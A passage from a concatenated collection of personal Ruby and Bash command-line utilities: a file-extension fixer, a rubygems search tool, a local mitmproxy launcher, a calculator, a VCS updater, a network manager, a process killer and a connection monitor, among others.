MimeMagic.by_magic(io) } return unless mime ext = path.extname.downcase.gsub(/^\./, '') true_ext = mime.extensions.first unless mime.extensions.include?(ext) return if skipit?(ext, true_ext, mime) fix_container = FIXERS[[ext, mime]] msg = "<8>* <7>\"<14>#{path}<7>\" <7>is actually a <7>\"<11>.#{true_ext}<7>\" <8>(<3>#{mime.type}<8>)<7>; #{fix_container ? "fix container" : "rename"}?".colorize if prompt(msg) == "y" if fix_container newpath = fix_container[path] puts " <8>|_ <7>fixed container: <10>#{newpath}".colorize else newpath = path.sub_ext(".#{true_ext}") if newpath.exist? puts "Error: #{newpath} exists!" else puts " <8>|_ <7>renamed: <10>#{newpath}".colorize path.rename(newpath) end end end end end ################################################### opts, args = parse_options args << "." if args.empty? paths = args.map { |arg| Pathname.new(arg) } paths.each do |path| p path if path.directory? puts "Scanning #{path.to_s == "." ? "current directory" : path.inspect }" path.find { |entry| fix!(entry) if entry.file? and not entry.dirname.to_s[%r{(^|/)\.git(/|$)}] } else fix!(path) end end <file_sep>#!/bin/bash if [ ! -f "$1" ]; then touch "$1" echo "created $1" fi chmod +x $@ <file_sep>#!/usr/bin/env ruby ################################################################### require 'json' require 'date' require 'epitools/colored' ################################################################### # More API URLs: https://guides.rubygems.org/rubygems-org-api/ RUBYGEMS_SEARCH_URL = "https://rubygems.org/api/v1/search.json?query=%s" RUBYGEMS_INFO_URL = "https://rubygems.org/api/v1/versions/%s.json" ################################################################### class String def any?; not empty?; end def indent(prefix=" ") gsub(/^/m, prefix) end def commatize gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1,\\2" end end class Integer def commatize; to_s.commatize; end end ################################################################### def help! puts "usage:" puts " $ #{$PROGRAM_NAME} <search query>" puts " (searches all gems)" puts puts " #{$PROGRAM_NAME} -i <gem name>" puts " (shows info about a specific gem)" puts exit 1 end ################################################################### def curl(url) html = IO.popen(["curl", "-Ss", url], &:read) rescue Errno::ENOENT puts "Error: 'curl' isn't installed. You need this!" exit 1 end def curl_json(url) JSON.parse(curl(url)) end def format_date(date) date.strftime("%b %d, %Y") end def nicedate(date) format_date DateTime.parse(date) end def print_gem_info(gem_name) # { # "authors": "epitron", # "built_at": "2015-07-12T00:00:00.000Z", # "created_at": "2015-07-12T16:46:50.411Z", # "description": "Wrap all known command-line package tools with a consistent and pretty interface.", # "downloads_count": 1346, # "metadata": { # }, # "number": "0.0.0", # "summary": "Universal Package Manager", # "platform": "ruby", # "rubygems_version": ">= 0", # "ruby_version": ">= 0", # "prerelease": false, # "licenses": [ # "WTFPL" # ], # "requirements": [ # ], # "sha": "6a0d30f765c410311b9c666f78624b6339107bf8cf24a8040bbddf05035a7b3d" # } # ] versions = curl_json(RUBYGEMS_INFO_URL % gem_name) versions.sort_by! { |v| v["created_at"] } info = versions.last summary = info["summary"] desc = info["description"] desc = nil if summary == desc colorize_pair = proc { |field, value| "<7>#{field}: <15>#{value}".colorize } puts "<8>== <11>#{gem_name} <2>v<10>#{info["number"]} <8>(<7>#{nicedate(info["created_at"])}) <8>====".colorize puts puts colorize_pair["summary", summary] puts colorize_pair["authors", info["authors"]] puts colorize_pair["licenses", info["licenses"].join(", ")] puts colorize_pair["requirements", info["requirements"].inspect] if info["requirements"].any? puts colorize_pair["description", desc] if desc puts puts "----------------------".grey puts " Previous releases:" puts "----------------------".grey versions.each do |version| date = nicedate version["created_at"] dls = version["downloads_count"].commatize puts "<9>#{date}: <2>v<10>#{version["number"]} <8>(<11>#{version["platform"]}<7>, <13>#{dls} <5>downloads<8>)".colorize end end def print_search_results(query) # { # "name": "cucumber_analytics", # "downloads": 65305, # "version": "1.6.0", # "version_downloads": 1903, # "platform": "ruby", # "authors": "<NAME>", # "info": "Static analysis of Cucumber tests made easy.", # "licenses": [ # "MIT" # ], # "metadata": { # }, # "sha": "e8f47fb5de750a2ac201172baf2a1f16fdb2b0ca84f6fff2e73003d38f1bcea5", # "project_uri": "https://rubygems.org/gems/cucumber_analytics", # "gem_uri": "https://rubygems.org/gems/cucumber_analytics-1.6.0.gem", # "homepage_uri": "https://github.com/enkessler/cucumber_analytics", # "wiki_uri": null, # "documentation_uri": "http://www.rubydoc.info/gems/cucumber_analytics/1.6.0", # "mailing_list_uri": null, # "source_code_uri": null, # "bug_tracker_uri": null, # "changelog_uri": null, # "dependencies": { # "development": [ # { # "name": "coveralls", # "requirements": "< 1.0.0" # }, # ... # ], # "runtime": [ # { # "name": "gherkin", # "requirements": "< 3.0" # }, # ... # ] # } # } gems = curl_json(RUBYGEMS_SEARCH_URL % query) gems.sort_by! { |info| info["downloads"] } gems.each do |info| puts ("<8>=== " + "<11>#{info["name"]} " + "<7>(<3>v#{info["version"]}<8>, " + "<13>#{info["downloads"].commatize} <5>downloads<7>) " + "<8>==============").colorize puts info["info"].indent.bright_white puts " <3>https://rubygems.org/gems/#{info["name"]}".colorize puts end end ################################################################### # Handle ARGV opts, args = ARGV.partition { |arg| arg[/^-\w/] } if (args.empty? and opts.empty?) or opts.include?("--help") help! exit 1 end if opts.include?("-i") args.each { |arg| print_gem_info(arg) } else query = args.join("+") puts "<8>* <7>Searching rubygems.org for <14>#{query.inspect}<7>...".colorize print_search_results(query) end <file_sep>#!/bin/bash echo "Make sure to open http://mitm.it/ (through the proxy server) to install certificates." # --web-port PORT Web UI port. # --web-host HOST Web UI host. #mitmweb --no-web-open-browser --set tls_version_client_min=UNBOUNDED --listen-port 8118 #mitmproxy --set tls_version_client_min=UNBOUNDED --listen-port 8118 mitmdump --ssl-insecure --set tls_version_client_min=UNBOUNDED --listen-port 8118 <file_sep>#!/bin/bash EXEPATH="`dirname $0`/win32/utorrent.exe" wine "$EXEPATH" /noinstall "$*" > /dev/null 2>&1 & <file_sep>#!/bin/bash DIR=/usr/share/applications if [ "$1" == "" ]; then echo "usage: install-desktop-file <application.desktop>" echo echo "(Note: installs it by copying it to $DIR)" echo else DEST="$DIR"/"$1" if [ -f "$DEST" ]; then echo "Error: $DEST already exists." exit 1 fi echo "Installing to $DEST" sudo cp "$1" "$DEST" echo "Updating .desktop database" sudo update-desktop-database fi <file_sep>#!/usr/bin/env ruby require 'shellwords' # Array of [ [dirname, path], ... ] raw_mp3s = Dir["#{ENV["HOME"]}/m/music/*"] + Dir["#{ENV["HOME"]}/m/music/outbox/*"] + Dir["#{ENV["HOME"]}/m/music/inbox/*"] + Dir["#{ENV["HOME"]}/m/music/offline/*"] + Dir["#{ENV["HOME"]}/m/music/mixes/*"] paths = raw_mp3s. reject { |e| e =~ /\.\w{1,4}$/ unless e =~ /\.(xspf|m3u8?)$/ }. map {|path| [path.split("/").last, path] }. sort_by {|path| path.first.downcase } paths = paths.sample(10) + # Random albums [["-"*50,nil]] + # ASCII horizontal line paths names = paths.to_h path = IO.popen(%w[rofi -dmenu -i -async-pre-read 0 -p Album:], "r+") do |f| f.puts names.keys.join("\n") f.close_write picked = f.gets.strip names[picked] end EXTS = %w[ mp3 m4a flac ogg wma fla flv mp2 ] AUDIO_RE = /\.#{Regexp.union EXTS}$/ files = Dir["#{Shellwords.escape path}/**/*.{#{EXTS.join(",")}}"] exec("audacious", *files) <file_sep>#!/usr/bin/env ruby gem 'slop', "~> 3.6" require 'slop' require 'epitools' Colored.enable! def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: f [options]" on "d", "dirs", "Search directory names only" on "x", "xdev", "Stay on this device" on "L", "follow", "Follow symbolic links" # on "b=", "blong", "desc", default: "" end [opts, ARGV] end opts, args = parse_options bins = { "bfs" => ["-color"], "find" => [], } cmd = nil bins.any? { |bin, args| cmd = [bin, *args] if which(bin) } if cmd cmd += %w[-type d] if opts.dirs? cmd << "-xdev" if opts.xdev? # cmd << "-L" if opts.follow? cmd << "-H" if opts.follow? if args.empty? system(*cmd) exit else query = Regexp.new(args.map{|a| Regexp.escape(a) }.join(".*"), Regexp::IGNORECASE) end # p cmd, query # system("#{bin} | grep --color=always -Ei '#{query}'") IO.popen(cmd, "rb") do |inp| inp.each_line do |l| if l =~ query puts l.highlight(query) end end end else puts "Couldn't find 'bfs' or 'find'" end <file_sep>#!/usr/bin/env ruby ############################################################################# # --------------- # TODOs: # --------------- # # Parser: # # => unit conversions (lbs -> kg, C -> F, etc.) # => Translate @symbol to &:symbol (for inline Ruby expressions) # => smart division # |_ if there's no remainder, return an integer, otherwise a float (force integer division with "//" (same rules for "\" and "\\")) # => Bignum.sqrt should work (convert all numbers to BigDecimal?) # => proper parser # => Pry's prettyprinter # => lazy blocks: 1..100.map \this * 5\ # => Non-globbing operators: x / + - % # => | or |> to compute the prior expression and return the result, which can then be operated on more # => Treetop Parser (http://blog.glaucocustodio.com/2014/11/10/natural-language-parsing-with-ruby/) # # Bugs: # # => "5 \ 9.0" fails because .0 isn't matched # ############################################################################# require 'epitools/colored' require 'epitools/numwords' require 'epitools/core_ext/string' require 'epitools/core_ext/numbers' ############################################################################# class MathOTron class Helpers def help puts DATA.read end def now Time.now end end def helpers @helpers ||= Helpers.new end def initialize(args) if ARGV.size == 0 interactive_mode else calculate ARGV.join(' ') end end def braggadocio puts "===============================================" puts " Math-o-tron 9000(tm)!" puts " (c) 2014-17 by <NAME> (<EMAIL>)" puts "-----------------------------------------------" puts "Type 'help' for help." end def error(message) puts "<bright_red>ERROR:</bright_red> #{message}".colorize end ############################################################################# NUM_RE = /[\d_,]+(?:\.\d+)?/ REWRITE_RULES = { ## NICE MATH # x (turn "5 x 3" into "5 * 3") /([\d\):]+\s*)(?:x|×)(\s*[\d\(]+)/ => "\\1*\\2", # x (turn "expr x expr" into "expr * expr") /(\S\s+)(?:x|×)(\s+\S)/ => "\\1*\\2", # ^ (turns "5^2" into "5**2") /([\d\):]+\s*)\^(\s*[\d\(]+)/ => "\\1**\\2", # flipped division ("a \ b" becomes "b / a") /([\d\):]+\s*)\\(\s*[\d\(]+)/ => "\\2/\\1", ## COLON OPERATOR # turn "1..10: function" into "(1..10).function" /(.+?): (\w+)/ => "(\\1).\\2", # turn "5 - 3: / 6" into "(5 - 3) / 6" /(.+?): (\W+)/ => "(\\1) \\2", } def translate(expr) # Translate suffix units (like 25k, or 15%) into plain numbers expr = expr.gsub /(\d[\d_]*(?:\.\d+)?)([a-zA-Z]+\b|%( ?= \s|$))/ do |m| units = $2 num = $1 #.to_f result = case units.downcase when "%" # 0.01 num / 100.0 when "k", "kb" # 10**3 "#{num}.thousand" when "m", "mb", "mm" # 10**6 "#{num}.million" when "b", "g", "bn", "gb" # 10**9 "#{num}.billion" when "gib" "(#{num} * 2**30)" when "mib" "(#{num} * 2**20)" when "kib" "(#{num} * 2**10)" when "t", "tb" # 10**12 "#{num}.trillion" when "q" # 10**15 "#{num}.quadrillion" when "Q" # 10**18 "#{num}.quintillion" when "min" # 1.minute "#{num}.minutes" when "hours", "h", "hr", "hrs" # 1.hour "#{num}.hours" when "d", "days", "dy" "#{num}.days" else return error("Invalid units: <15>#{units.inspect}</15>, in: <15>#{m.inspect}</15>") end # num * zeroes result end # Apply rewrite rules (converting bash-friendly operators into ruby operators, and more...) REWRITE_RULES.each do |regexp, replacement| loop do last_expr = expr expr = expr.gsub(regexp, replacement) break if expr == last_expr end end expr end ############################################################################# def calculate(expr) unless translated_expr = translate(expr) return nil end if expr != translated_expr puts "=> #{translated_expr}".grey end begin result = helpers.instance_eval translated_expr if not $stdout.isatty puts result else case result when Numeric puts "<13>#{result.commatize} <4>(<12>#{"%.2e" % result}<4>)".colorize unless (words = result.to_words).blank? puts "<8>(<7>#{words}<8>)".colorize end else p result end end rescue Exception => e puts e.to_s.bright_red puts e.backtrace end end ############################################################################# def interactive_mode # Interactive mode! # require 'readline' require 'coolline' braggadocio loop do # get input expr = Coolline.readline("> ") # quit if the user didn't give us any input break if !expr or expr.blank? # do the math calculate expr # separator between expressions puts end # done! puts end end ############################################################################# if $0 == __FILE__ MathOTron.new(ARGV) end ############################################################################# __END__ ---------------------------------------------- Math-o-tron lets you quickly compute things! ---------------------------------------------- Basic math: > 5 + 3 + 234 + 4.2922 246.2922 (two-hundred and fourty-six) > 42.sqrt 6.48074069840786 (six) Units: > 35k x 17% => 35000.0 * 0.17 5,950.0 (5.95e+03) (five thousand, nine-hundred and fifty) The colon operator (lets you group things without using parentheses): > (5 + 10) / 5 3 (three) > 5 + 10: / 5 => (5 + 10) / 5 3 (three) Bash-friendly operators (for commandline arguments): $ math 2 x 5 => 2 * 5 10 (ten) $ math 2^42 => 2**42 4,398,046,511,104 (four trillion, three-hundred and ninety-eight billion, ...) It's also a Ruby interpreter, with the power of epitools! > (1..42).select &:prime? [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41] <file_sep>#!/bin/bash lsblk -o MODEL,SIZE,TYPE,NAME,MOUNTPOINT,LABEL,FSTYPE<file_sep>#!/bin/bash vnc -viewonly $* <file_sep>#!/bin/bash DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" CMD="rspec -fd -r $DIR/spec_helper.rb -c" if [ "$1" == "--help" ]; then echo "usage:" echo " spec [options] <spec file>.rb [<substring to match against spec names>]" echo echo "options:" echo " -r pry-rescue failing specs" echo echo " PLUS: all standard rspec options (see rspec --help)" echo exit fi if [ "$1" == "-r" ]; then shift if which rescue 2> /dev/null then CMD="rescue $CMD" else echo "pry-rescue is not installed." exit 1 fi fi if [ "$1" == "" ] then FILES=`find . -iname '*_spec.rb'` $CMD $FILES else if [ "$2" == "" ]; then $CMD $* else $CMD -e "$2" "$1" fi fi <file_sep>#!/bin/bash exec rofi -async-pre-read 0 -show run "$@" <file_sep>#!/bin/bash get_backlight() { echo "Current backlight: $(xbacklight -get)%" } if [ "$1" == "" ]; then get_backlight echo echo "usage: light <backlight brightness, 1-100>" exit 1 fi if (( $1 < 1 || $1 > 100 )); then echo "brightness must be between 1 and 100" exit 1 fi xbacklight -set "$@" get_backlight <file_sep>#!/bin/bash if which systemctl > /dev/null; then systemctl poweroff else shutdown -h now fi <file_sep>#!/usr/bin/env ruby require 'epitools/path' require 'epitools/colored' def show_help puts DATA.read exit 1 end class Path def in_tree?(filename) p = Path[self.path] while p.dirs.any? return true if (p/filename).exists? p.dirs.pop end false end end def pull(path) path = Path[path] if path.dir? if (path/".svn").dir? cmd = "svn update" elsif (path/"CVS").dir? cmd = "cvs update -dP" elsif path.in_tree?(".git") cmd = "git pull; git submodule update" elsif path.in_tree?(".hg") cmd = "hg pull -u" elsif path.in_tree?(".bzr") cmd = "bzr pull" elsif (path/"pull").exists? cmd = "./pull" elsif false #bzr cmd = "bzr update" else puts puts "<4>### <14>Skipping <10>#{path} <8>(<7>not version controlled<8>) <4>###".colorize puts return end puts puts "<7>=== <15>Updating <11>#{path} <8>(<3>#{cmd}<8>) <7>===".colorize puts path.cd do system(cmd) end elsif path.file? puts puts "<4>### <14>Skipping <10>#{path} <8>(<12>not a directory<8>) <4>###".colorize else puts puts "<4>### <14>Skipping <10>#{path} <8>(<9>doesn't exist!<8>) <4>###".colorize end end if $0 == __FILE__ show_help if ARGV.include? "--help" args = ARGV.any? ? ARGV : [Path.pwd] args.each { |arg| pull(arg) } end __END__ Usage: pull pull <path(s)> Effect: If the path(s) (or current directory) is a version controlled checkout, it updates it. Supports git, svn, cvs, and mercurial. <file_sep>#!/usr/bin/env ruby require 'epitools/colored' require 'epitools/clitools' require 'json' require 'ostruct' require 'open-uri' SVNURL = "svn://svn.FreeBSD.org/ports/head/%s/%s" SEARCH_URL = "https://repology.org/api/v1/projects/?search=%s&inrepo=freebsd" def search(query) response = URI.open(SEARCH_URL % query, &:read) json = JSON.parse(response) results = json.map do |pkg, vs| pkginfo = vs.find { |v| v["repo"] == "freebsd" } pkginfo["name"] = pkg OpenStruct.new(pkginfo) end end if ARGV.empty? puts "usage: portsearch <query>" exit 1 end query = ARGV.join(" ") puts "<8>* <7>Searching for <15>#{query}<7>...".colorize results = search(query) puts # [{"name"=>"python:dockerpty" # "repo"=>"freebsd", # "srcname"=>"devel/py-dockerpty", # "binname"=>"py27-dockerpty", # "visiblename"=>"devel/py-dockerpty", # "version"=>"0.4.1", # "maintainers"=>["<EMAIL>"], # "www"=>["https://github.com/d11wtq/dockerpty"], # "summary"=>"Python library to use the pseudo-tty of a docker container", # "categories"=>["devel"], # "status"=>"newest", # "origversion"=>nil}, lesspipe do |less| results.each do |pkg| category, package = pkg.visiblename.split("/") less.puts "<9>#{category}<8>/<11>#{package} <8>(<7>#{pkg.version}<8>)".colorize less.puts " #{pkg.summary}" less.puts " https://www.freshports.org/#{pkg.visiblename}/".light_green less.puts " #{SVNURL % [category, package]}".green less.puts end end <file_sep>#!/usr/bin/env ruby ######################################################## # TODOs: # # * Network.info returns an object graph containing all the info # |_ scan.devs, scan.configs, scan.routes # ######################################################## require 'epitools' require 'terminal-table' gem 'slop', "~> 3.6"; require 'slop' ######################################################## opts = Slop.parse(help: true, strict: true) do banner "Usage: n [options]" on "d", "down", "Take interface down" on "u", "up", "Put interface up" on "i=", "ip", "Set IP address" on "s", "scan", "WIFI Scan" end args = ARGV ######################################################## def netctl(*args) system("netctl", *args) end def ip(*args) system("ip", *args) end def configs end def ifnames @ifnames ||= Dev.all.map(&:name) end def nameservers Path["/etc/resolv.conf"].io.each_line.map do |line| if line =~ /^nameserver (.+)$/ $1 end end.compact end ######################################################## class Dev attr_accessor :name, :flags, :mac, :addrs, :state def self.[](name) all.find { |dev| dev.name == name } end def self.all(sorted: false) devs = `ip addr`.each_line.split_before(/^\d+: /).map do |chunk| new(chunk) unless chunk.empty? end.compact if sorted devs.sort_by! do |dev| score = 0 score += 100 if dev.up? score += 10 if dev.name[/^e/] score += 11 if dev.name[/^w/] score += 10 if dev.routes.any? score += 10 if dev.routes.any? {|n, type| type == :gateway } -score end end devs end def self.wireless all.select(&:wireless?) end def self.routes @routes ||= begin routes = Hash.of_arrays # default via 192.168.0.1 dev wlp3s0 proto dhcp src 192.168.0.12 metric 303 # 192.168.0.0/24 dev wlp3s0 proto dhcp scope link src 192.168.0.12 metric 303 `ip route`.each_line do |line| if line =~ /^default via (\S+) dev (\S+)/ routes[$2] << [$1, :gateway] elsif line =~ %r{(\S+) dev (\S+)} routes[$2] << [$1, :range] else raise "Unrecognized: #{line}" end end routes end end def initialize(lines) @addrs = [] if lines.first =~ /^\d+: (\S+): <([^>]+)>/ @name = $1 @flags = Set.new($2.split(",")) end lines.drop(1).each do |line| line.strip! if line =~ %r{^link/\S+ (\S+)} @mac = $1 elsif line =~ %r{inet ([\d\.]+)/(\d+)} @addrs << $1 end end @state = up? ? "UP" : "DOWN" end def up?; @up ||= @flags.include?("UP"); end def down?; not up?; end def up! ip("link", "set", name, "up") end def down! ip("link", "set", name, "down") end def routes Dev.routes[name] end def wireless? name[/^(wlp|wlan)/] end end ######################################################## class Config attr_accessor :name, :devname, :ip def self.[](name) all.find { |c| c.name == name } end def self.all @all ||= Path["/etc/netctl/*"].select(&:file?).map { |f| Config.new(f) } end def self.connected_names `netctl list`.each_line.map do |line| if line =~ /\* (\S+)/ $1 end end.compact end def initialize(path) @path = path @name = path.filename path.each_line do |line| if line =~ /^Interface=(.+)/ @devname = $1 elsif line =~ /^IP=(.+)/ @ip = $1 end end end def dev @dev ||= Dev[devname] end def connected? Config.connected.include? self.name end def toggle! if connected? stop! else start! end end def start! dev.down! if dev.up? netctl("start", name) end def stop! netctl("stop", name) end def wait_until_online netctl("wait-online", name) end def status netctl("status", name) end end ######################################################## def print_interfaces puts "--------------------------------".grey puts "Interfaces:".light_yellow puts "--------------------------------".grey configs = Config.all connected_configs = Config.connected_names headings = %w[dev addrs configs routes] rows = [] routes = Dev.routes Dev.all(sorted: true).each do |dev| configs_for_dev = configs. select { |config| config.devname == dev.name }. map do |config| config_color = connected_configs.include?(config.name) ? 14 : 6 "<#{config_color}>#{config.name}" end name_color = dev.up? ? 10 : 12 ip_color = dev.up? ? 11 : 3 dev_routes = routes[dev.name].map { |addr, type| type == :gateway ? "<7>GW: <10>#{addr}" : "<2>#{addr}" }.join("<8>, </8>") rows << [ "<#{name_color}>#{dev.name}", "<#{ip_color}>#{dev.addrs.join("<3>, </3>")}", "<9>#{configs_for_dev.join("<2>, </2>")}", dev_routes ].map(&:colorize) end puts Terminal::Table.new(headings: headings, rows: rows) end ######################################################## if opts.scan? Dev.wireless.each do |dev| system("wifiscan", dev.name) end # if devs.size > 1 # raise "Error: not sure which device to use (found: #{devs.map(&:name).join(", ")})" # end # dev = devs.first # puts "Scanning #{dev.name}..." # cmd = ["iw", "dev", dev.name, "scan"] # IO.popen(cmd) do |io| # lesspipe do |less| # less.puts io.read # end # end elsif args.empty? print_interfaces puts puts "DNSes: #{nameservers.join(", ")}" puts else configs = Config.all args.each do |arg| if selected_config = configs.find { |c| c.name == arg } # arg is a netctl config name if opts.down? selected_config.stop! exit end @all_connected_config_names ||= Config.connected_names configs_for_dev = configs.select { |c| c.devname == selected_config.devname } connected_config_names = @all_connected_config_names & configs_for_dev.map(&:name) if connected_config_names.include?(selected_config.name) # this one is connected puts "status" selected_config.status else raise "WTF? Too many connected configs!" if connected_config_names.size > 1 if cc_name = connected_config_names.first # another one is connected cc = Config[cc_name] puts "Stopping #{cc.name}" cc.stop! # disconnect it end puts "Starting #{selected_config.name}" selected_config.start! selected_config.wait_until_online selected_config.status end elsif arg.in?(ifnames) dev = arg if opts[:ip] ip("addr", "flush", "dev", dev) ip("addr", "add", opts[:ip], "dev", arg) end if opts.up? # ip("link", "set", arg, "up") Dev[arg].up! elsif opts.down? # ip("link", "set", arg, "down") Dev[arg].down! end print_interfaces end end end <file_sep>#!/usr/bin/env ruby opts, args = ARGV.partition { |arg| arg[/^-/] } if opts.any? { |opt| ["--help", "-h"].include? opt } puts "usage:" puts " #{$0} [<kill signal>] [<query string>]" puts puts "purpose:" puts " interactively select process(es) to kill" puts " (press TAB to select multiple processes, ENTER to confirm)" end cmd = %w[fzf --tac --multi] if args.any? cmd += ["--query=#{args.join(" ")}"] end processes = IO.popen(["ps", "awfx"], &:read).each_line.drop(1).reject { |line| line[/^\s*#{$$}\s/] } fzf_output = IO.popen(cmd, "r+") do |io| io.puts processes io.close_write io.read end if fzf_output.empty? puts "aborted..." exit 1 end choices = fzf_output.each_line.map do |line| pid, _, __, ___, commandline = line.strip.split(/\s+/, 5) [pid, commandline] end if opts.any? puts "Kill\"#{opts.join(" ")}\"ing:" else puts "Killing:" end choices.each do |pid, commandline| puts " #{pid} #{commandline}" end system("kill", *opts, *choices.map(&:first)) <file_sep>#!/usr/bin/env ruby require 'epitools' ########################################################################################################################################## class SS < Struct.new(:proto, :state, :rq, :sq, :laddr, :addr, :name, :pid, :fd) # Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process # udp ESTAB 0 0 10.1.1.189%wlan0:68 10.1.1.254:67 # udp ESTAB 0 0 10.1.1.189:58107 172.16.31.10:443 users:(("chromium",pid=975583,fd=41)) # tcp ESTAB 0 0 10.1.1.189:4001 172.16.58.3:40551 users:(("ipfs",pid=916705,fd=125)) # tcp ESTAB 0 0 10.1.1.189:4001 172.16.17.32:4001 users:(("ipfs",pid=916705,fd=104)) # tcp ESTAB 0 0 10.1.1.189:4001 192.168.127.12:4001 users:(("ipfs",pid=916705,fd=71)) # tcp ESTAB 0 0 10.1.1.189:4001 172.16.17.32:4001 users:(("ipfs",pid=916705,fd=146)) STATE_COLORS = { # trying to connect "SYN-SENT" => :green, # connected "ESTAB" => :white, # active close "CLOSING" => :red, # passive close "CLOSE-WAIT" => :yellow, "LAST-ACK" => :red, # "CLOSED" (does this ever happen?) } PROCESS_RE = / ^ users: \(\( "(?<name>[^"]+)", (?<attrs>.+) \)\) $ /x def self.connections # tcp only IO.popen(["ss", "-pntu"], &:read). each_line. drop(1). map { |line| from_line(line) } end def self.from_line(line) row = line.strip.split if m = row.pop.match(PROCESS_RE) procinfo = m.named_captures attrs = procinfo["attrs"].split(",").map { |attr| k, v = attr.split(/=/,2); [k.to_sym, v[/^\d+$/] ? v.to_i : v] }.to_h # row[-1] = {name: procinfo["name"], **attrs} row += [procinfo["name"], attrs[:pid], attrs[:fd]] else # p error: line row += [nil]*3 end new(*row) end def inspect "[ #{name}(#{pid}) => #{addr}/#{proto} ]" end ################################################################################################################################### def self.print_legend states = STATE_COLORS.map { |name, color| "<8>[ <#{color}>#{name} <8>]".colorize } puts "states: #{states.join(" ")}" end def self.print_connections # TCP state diagram: https://tangentsoft.com/wskfaq/articles/bitmaps/state-diagram-small.gif grouped = SS.connections.group_by{|c| c.name } grouped.sort_by { |name,cs| cs.size }.each do |name,cs| puts "<8>===<7>[ <15>#{name} <8>(<7>#{cs.size}<8>) <7>]<8>========================".colorize cells = cs.map do |c| addr = c.addr.to_s unless color = STATE_COLORS[c.state] addr += "(#{c.state})" color = :white end addr.send(color) end table = Term::Table.new(cells) table.by_cols.each_line do |line| puts line Term.clear_eol end puts end end end ########################################################################################################################################## ########################################################################################################################################## Term.clear loop do Term.home SS.print_legend SS.print_connections sleep 0.4 end <file_sep>#!/usr/bin/env ruby ################################################### gem 'slop', "~> 3.6" require 'slop' require 'mimemagic' require 'pathname' require 'epitools/colored' ################################################### class Globber attr_reader :regex def initialize(pattern) escaped_regexp = Regexp.escape(pattern).gsub('\*','.*?') @regex = Regexp.new "^#{escaped_regexp}$" #, Regexp::IGNORECASE end def match?(path) !!((path.dirname.to_s =~ @regex) || (path.to_s =~ @regex)) end end ################################################### def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: fixexts [options]" on 'e=', 'exclude', 'Exclude a glob' # on 'c', 'codecs', 'List the availiable codecs' end [opts, ARGV] end ################################################### # # Prompt the user for confirmation. # # Usage: # prompt("Do you want a cookie?", "Ynqa") #=> returns the letter that the user pressed, in lowercase (and returns the default, 'y', if the user hits ENTER) # def prompt(message="Are you sure?", options="Yn") opts = options.scan(/./) optstring = opts.join("/") # case maintained defaults = opts.select{|o| o.upcase == o } opts = opts.map{|o| o.downcase} raise "Error: Too many default values for the prompt: #{default.inspect}" if defaults.size > 1 default = defaults.first loop do print "#{message} (#{optstring}) " response = STDIN.gets.strip.downcase case response when *opts return response when "" return default.downcase else puts " |_ Invalid option: #{response.inspect}. Try again." end end end ################################################### def skipit?(ext, true_ext, mime) # p [ext, true_ext, mime] true_ext.nil? or (ext == "apk" and true_ext == "zip") or (ext == "epub" and true_ext == "zip") or (ext == "mmap" and true_ext == "zip") or (ext == "backup" and true_ext == "zip") or (ext == "cbr" and true_ext == "rar") or (ext == "tgz" and true_ext == "gz") or (ext == "xspf" and true_ext == "htm") or (ext == "java" and true_ext == "c") or (ext == "json" and true_ext == "c") or (ext == "js" and true_ext == "c") or (ext == "rdf" and true_ext == "xml") or (ext == "mp4" and true_ext == "3gpp") or (ext == "m4a" and true_ext == "mp4") or (ext == "m4a" and true_ext == "3gpp") or (ext == "docx" and true_ext == "zip") or (ext == "html" and true_ext == "xht") or (ext == "xml" and true_ext == "htm") or (ext == "db" and true_ext == "sqlite3") or (ext == "htm" and true_ext == "xht") or (ext == "m4a" and true_ext == "3ga") or (ext == "dll" and true_ext == "exe") or (ext == "mhtml" and true_ext == "eml") or (ext == "sketch" and true_ext == "sqlite3") or (ext == "" and mime.type =~ /(^application|python3?$)/) or (ext == "run" and mime.type == "application/x-executable") or (ext == "txt" and mime.type == "text/html") or (ext =~ /^(pptx|xlsx)$/ and true_ext == "zip") or (ext =~ /^(ppt|pps|xls|doc|msi)$/ and mime.type == "application/x-ole-storage") or false end FIXERS = { # [ current-extension, actual-type ] => proc ["mp4", "video/mp2t"] => proc { |path| convert_to_mp4(path) }, ["mp4", "video/quicktime"] => proc { |path| convert_to_mp4(path) }, } def convert_to_mp4(path) require 'fileutils' tmp = Pathname.new("/tmp/fixing.mp4") cmd = ["ffmpeg", "-hide_banner", "-y", "-i", path.to_s, "-c", "copy", "-movflags", "faststart", tmp.to_s] unless system(*cmd) tmp.unlink if tmp.exist? raise "error!" end FileUtils.touch(tmp, mtime: path.mtime) FileUtils.mv(tmp, path) path end def fix!(path) mime = path.open { |io| MimeMagic.by_magic(io) } return unless mime ext = path.extname.downcase.gsub(/^\./, '') true_ext = mime.extensions.first unless mime.extensions.include?(ext) return if skipit?(ext, true_ext, mime) fix_container = FIXERS[[ext, mime]] raise msg = "<8>* <7>\"<14>#{path}<7>\" <7>is actually a <7>\"<11>.#{true_ext}<7>\" <8>(<3>#{mime.type}<8>)<7>; #{fix_container ? "fix container" : "rename"}?".colorize if prompt(msg) == "y" if fix_container newpath = fix_container[path] puts " <8>|_ <7>fixed container: <10>#{newpath}".colorize else newpath = path.sub_ext(".#{true_ext}") puts " <8>|_ <7>renamed: <10>#{newpath}".colorize path.rename(newpath) end end end end ################################################### opts, args = parse_options args << "." if args.empty? paths = args.map { |arg| Pathname.new(arg) } rejecter = opts[:exclude] ? Globber.new(opts[:exclude]) : nil paths.each do |path| p path if path.directory? puts "Scanning #{path.to_s == "." ? "current directory" : path.inspect }" path.find do |entry| if entry.file? and not entry.dirname.to_s[%r{(^|/)\.git(/|$)}] and not rejecter&.match?(entry) fix!(entry) end end else fix!(path) end end <file_sep>#!/bin/bash html2haml $1 | haml <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: rm-before [options] <file>" on "r", "recursive", "Remove directories too" on "i", "inclusive", "Include the cutoff file (default: no)" on "b", "before", "Delete everything before this file" on "a", "after", "Delete everything after this file" end args = ARGV ######################################################## if args.empty? puts "Error: must specify a file for the cutoff" puts puts opts exit 1 end if args.size > 1 puts "Error: Too many files supplied. Can only cut at one point!" exit 1 end if opts.before? and opts.after? puts 